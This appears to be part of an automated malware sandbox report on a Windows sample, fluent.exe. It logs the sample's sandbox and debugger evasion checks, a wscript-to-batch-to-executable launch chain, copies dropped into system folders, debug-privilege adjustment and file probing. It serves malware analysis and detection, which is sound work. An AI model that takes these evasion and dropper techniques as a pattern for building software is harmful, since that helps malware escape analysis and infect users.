Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Thread delayed: delay time: 596531	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Thread delayed: delay time: 596400	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Thread delayed: delay time: 596277	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Thread delayed: delay time: 595076	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Thread delayed: delay time: 594911	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Thread delayed: delay time: 594734	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Thread delayed: delay time: 594484	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Thread delayed: delay time: 594343	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Thread delayed: delay time: 594062	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Thread delayed: delay time: 593904	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Thread delayed: delay time: 593745	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Thread delayed: delay time: 593605	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Thread delayed: delay time: 300000	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Thread delayed: delay time: 593484	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Thread delayed: delay time: 593333	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Thread delayed: delay time: 593171	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Thread delayed: delay time: 593053	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Thread delayed: delay time: 592922	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Thread delayed: delay time: 592485	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Thread delayed: delay time: 592250	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Thread delayed: delay time: 592100	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Thread delayed: delay time: 591970	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Thread delayed: delay time: 591852	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Thread delayed: delay time: 591734	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Thread delayed: delay time: 591624	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Thread delayed: delay time: 591506	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Thread delayed: delay time: 591375	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Thread delayed: delay time: 591265	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Thread delayed: delay time: 591140	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Thread delayed: delay time: 591031	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Thread delayed: delay time: 590921	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Thread delayed: delay time: 590812	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Thread delayed: delay time: 590703	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Thread delayed: delay time: 590593	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Thread delayed: delay time: 590473	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Thread delayed: delay time: 590343	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Thread delayed: delay time: 590228	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Thread delayed: delay time: 590100	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Thread delayed: delay time: 589930	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Thread delayed: delay time: 589705	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Thread delayed: delay time: 589475	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Thread delayed: delay time: 589320	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Thread delayed: delay time: 588967	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Thread delayed: delay time: 922337203685477
Source: C:\comReviewintocommon\driverSavesNet.exe	Thread delayed: delay time: 922337203685477
Source: C:\comReviewintocommon\driverSavesNet.exe	Thread delayed: delay time: 922337203685477
Source: C:\Recovery\gNKaMdWfDFzDkhEeKzQ.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\en-GB\gNKaMdWfDFzDkhEeKzQ.exe	Thread delayed: delay time: 922337203685477
Source: C:\comReviewintocommon\driverSavesNet.exe	Thread delayed: delay time: 922337203685477
Source: C:\Recovery\gNKaMdWfDFzDkhEeKzQ.exe	Thread delayed: delay time: 922337203685477
Source: C:\comReviewintocommon\driverSavesNet.exe	Thread delayed: delay time: 922337203685477
Source: C:\Recovery\gNKaMdWfDFzDkhEeKzQ.exe	Thread delayed: delay time: 922337203685477
Source: C:\comReviewintocommon\driverSavesNet.exe	Thread delayed: delay time: 922337203685477

Source: C:\comReviewintocommon\driverSavesNet.exe	File opened: C:\Users\user	Jump to behavior
Source: C:\comReviewintocommon\driverSavesNet.exe	File opened: C:\Users\user\Documents\desktop.ini	Jump to behavior
Source: C:\comReviewintocommon\driverSavesNet.exe	File opened: C:\Users\user\AppData	Jump to behavior
Source: C:\comReviewintocommon\driverSavesNet.exe	File opened: C:\Users\user\AppData\Local\Temp	Jump to behavior
Source: C:\comReviewintocommon\driverSavesNet.exe	File opened: C:\Users\user\Desktop\desktop.ini	Jump to behavior
Source: C:\comReviewintocommon\driverSavesNet.exe	File opened: C:\Users\user\AppData\Local	Jump to behavior

Source: fluent.exe, 00000000.00000002.1696159770.0000000000757000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: VBoxService.exe
Source: wscript.exe, 00000001.00000002.1862349902.0000000000BEA000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: fluent.exe, fluent.exe, 00000000.00000002.1696159770.000000000089D000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: ~VirtualMachineTypes
Source: gNKaMdWfDFzDkhEeKzQ.exe, 0000000B.00000002.2961847481.000000001B9E0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllRyR
Source: fluent.exe, fluent.exe, 00000000.00000002.1696159770.000000000089D000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: ]DLL_Loader_VirtualMachine
Source: driverSavesNet.exe, 00000005.00000002.1933001935.000000001BEA0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\
Source: fluent.exe, 00000000.00000002.1696159770.0000000000757000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: VMWare
Source: fluent.exe, 00000000.00000002.1696159770.000000000089D000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: DLL_Loader_Marker]DLL_Loader_VirtualMachineZDLL_Loader_Reloc_Unit
Source: wscript.exe, 00000001.00000003.1861289176.0000000000BFD000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Prod_VMware_SATA_CD00#4&
Source: fluent.exe, 00000000.00000002.1696159770.0000000000757000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: &VBoxService.exe

Source: C:\Users\user\Desktop\fluent.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\fluent.exe

Thread information set: HideFromDebugger

Jump to behavior

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\Desktop\fluent.exe

Open window title or class name: ollydbg

Source: C:\Users\user\Desktop\fluent.exe	File opened: SIWDEBUG
Source: C:\Users\user\Desktop\fluent.exe	File opened: NTICE
Source: C:\Users\user\Desktop\fluent.exe	File opened: SICE

Source: C:\Users\user\Desktop\fluent.exe	Code function: 0_2_00707DF8 mov eax, dword ptr fs:[00000030h]	0_2_00707DF8
Source: C:\Users\user\Desktop\fluent.exe	Code function: 0_2_04F2605C mov eax, dword ptr fs:[00000030h]	0_2_04F2605C
Source: C:\Users\user\Desktop\fluent.exe	Code function: 0_2_04F26381 mov eax, dword ptr fs:[00000030h]	0_2_04F26381

Source: C:\comReviewintocommon\driverSavesNet.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Process token adjusted: Debug
Source: C:\comReviewintocommon\driverSavesNet.exe	Process token adjusted: Debug
Source: C:\comReviewintocommon\driverSavesNet.exe	Process token adjusted: Debug
Source: C:\Windows\en-GB\gNKaMdWfDFzDkhEeKzQ.exe	Process token adjusted: Debug

Source: C:\comReviewintocommon\driverSavesNet.exe

Memory allocated: page read and write | page guard

Jump to behavior

Source: C:\Users\user\Desktop\fluent.exe

Code function: 0_2_006FB7E0 __EH_prolog,SetDlgItemTextW,GetMessageW,IsDialogMessageW,TranslateMessage,DispatchMessageW,GetDlgItemTextW,EndDialog,GetDlgItem,SendMessageW,SendMessageW,SetFocus,_swprintf,_swprintf,_swprintf,ShellExecuteExW,_swprintf,SetDlgItemTextW,SetDlgItemTextW,GetDlgItem,GetWindowLongW,SetWindowLongW,SetDlgItemTextW,_wcslen,_swprintf,SendMessageW,SendDlgItemMessageW,GetDlgItem,SendMessageW,GetDlgItem,SetWindowTextW,SetDlgItemTextW,SetDlgItemTextW,DialogBoxParamW,EnableWindow,SendMessageW,SetDlgItemTextW,

0_2_006FB7E0

Source: C:\Users\user\Desktop\fluent.exe	Process created: C:\Windows\SysWOW64\wscript.exe "C:\Windows\System32\WScript.exe" "C:\comReviewintocommon\TWlWAN2ryscXhu39ZLKnk88Wy4VE5T41kI6bFa9kkkqSh.vbe"	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\comReviewintocommon\YnzAdQrUUt8.bat" "	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\comReviewintocommon\driverSavesNet.exe "C:\comReviewintocommon/driverSavesNet.exe"	Jump to behavior
Source: C:\comReviewintocommon\driverSavesNet.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\jzqywwbr\jzqywwbr.cmdline"	Jump to behavior
Source: C:\comReviewintocommon\driverSavesNet.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /C "C:\Users\user\AppData\Local\Temp\RJ4yfxqn4J.bat"	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RESD287.tmp" "c:\Windows\System32\CSCBCBDE6D48A2D4BDA8A90105531C410CA.TMP"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\chcp.com chcp 65001
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\PING.EXE ping -n 10 localhost
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\en-GB\gNKaMdWfDFzDkhEeKzQ.exe "C:\Windows\en-GB\gNKaMdWfDFzDkhEeKzQ.exe"

Source: gNKaMdWfDFzDkhEeKzQ.exe, 0000000B.00000002.2925956771.000000000343E000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: Program Manager

Source: C:\Users\user\Desktop\fluent.exe

Code function: 0_2_006FF654 cpuid

0_2_006FF654

Source: C:\comReviewintocommon\driverSavesNet.exe	Queries volume information: C:\comReviewintocommon\driverSavesNet.exe VolumeInformation	Jump to behavior
Source: C:\comReviewintocommon\driverSavesNet.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Queries volume information: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Queries volume information: C:\Windows\Fonts\calibrii.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Queries volume information: C:\Windows\Fonts\calibrili.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Queries volume information: C:\Windows\Fonts\calibrib.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Queries volume information: C:\Windows\Fonts\calibriz.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Queries volume information: C:\Windows\Fonts\cambria.ttc VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Queries volume information: C:\Windows\Fonts\cambriai.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Queries volume information: C:\Windows\Fonts\cambriab.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Queries volume information: C:\Windows\Fonts\cambriaz.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Queries volume information: C:\Windows\Fonts\cambria.ttc VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Queries volume information: C:\Windows\Fonts\Candara.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Queries volume information: C:\Windows\Fonts\Candaral.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Queries volume information: C:\Windows\Fonts\Candarai.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Queries volume information: C:\Windows\Fonts\Candarali.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Queries volume information: C:\Windows\Fonts\Candarab.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Queries volume information: C:\Windows\Fonts\Candaraz.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Queries volume information: C:\Windows\Fonts\comic.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Queries volume information: C:\Windows\Fonts\comici.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Queries volume information: C:\Windows\Fonts\comicbd.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Queries volume information: C:\Windows\Fonts\comicz.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Queries volume information: C:\Windows\Fonts\constan.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Queries volume information: C:\Windows\Fonts\constani.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Queries volume information: C:\Windows\Fonts\constanb.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Queries volume information: C:\Windows\Fonts\constanz.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Queries volume information: C:\Windows\Fonts\corbel.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Queries volume information: C:\Windows\Fonts\corbell.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Queries volume information: C:\Windows\Fonts\corbeli.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Queries volume information: C:\Windows\Fonts\corbelli.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Queries volume information: C:\Windows\Fonts\corbelb.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Queries volume information: C:\Windows\Fonts\corbelz.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Queries volume information: C:\Windows\Fonts\cour.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Queries volume information: C:\Windows\Fonts\couri.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Queries volume information: C:\Windows\Fonts\courbd.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Queries volume information: C:\Windows\Fonts\courbi.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Queries volume information: C:\Windows\Fonts\ebrima.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Queries volume information: C:\Windows\Fonts\ebrimabd.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Queries volume information: C:\Windows\Fonts\framd.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Queries volume information: C:\Windows\Fonts\FRADM.TTF VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Queries volume information: C:\Windows\Fonts\FRADMIT.TTF VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Queries volume information: C:\Windows\Fonts\FRAMDCN.TTF VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Queries volume information: C:\Windows\Fonts\FRADMCN.TTF VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Queries volume information: C:\Windows\Fonts\FRAHVIT.TTF VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Queries volume information: C:\Windows\Fonts\Gabriola.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Queries volume information: C:\Windows\Fonts\gadugi.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Queries volume information: C:\Windows\Fonts\gadugib.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Queries volume information: C:\Windows\Fonts\georgia.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Queries volume information: C:\Windows\Fonts\georgiai.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Queries volume information: C:\Windows\Fonts\georgiab.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Queries volume information: C:\Windows\Fonts\georgiaz.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Queries volume information: C:\Windows\Fonts\impact.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Queries volume information: C:\Windows\Fonts\Inkfree.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Queries volume information: C:\Windows\Fonts\javatext.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Queries volume information: C:\Windows\Fonts\LeelawUI.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Queries volume information: C:\Windows\Fonts\LeelUIsl.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Queries volume information: C:\Windows\Fonts\LeelaUIb.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Queries volume information: C:\Windows\Fonts\lucon.ttf VolumeInformation	Jump to behavior
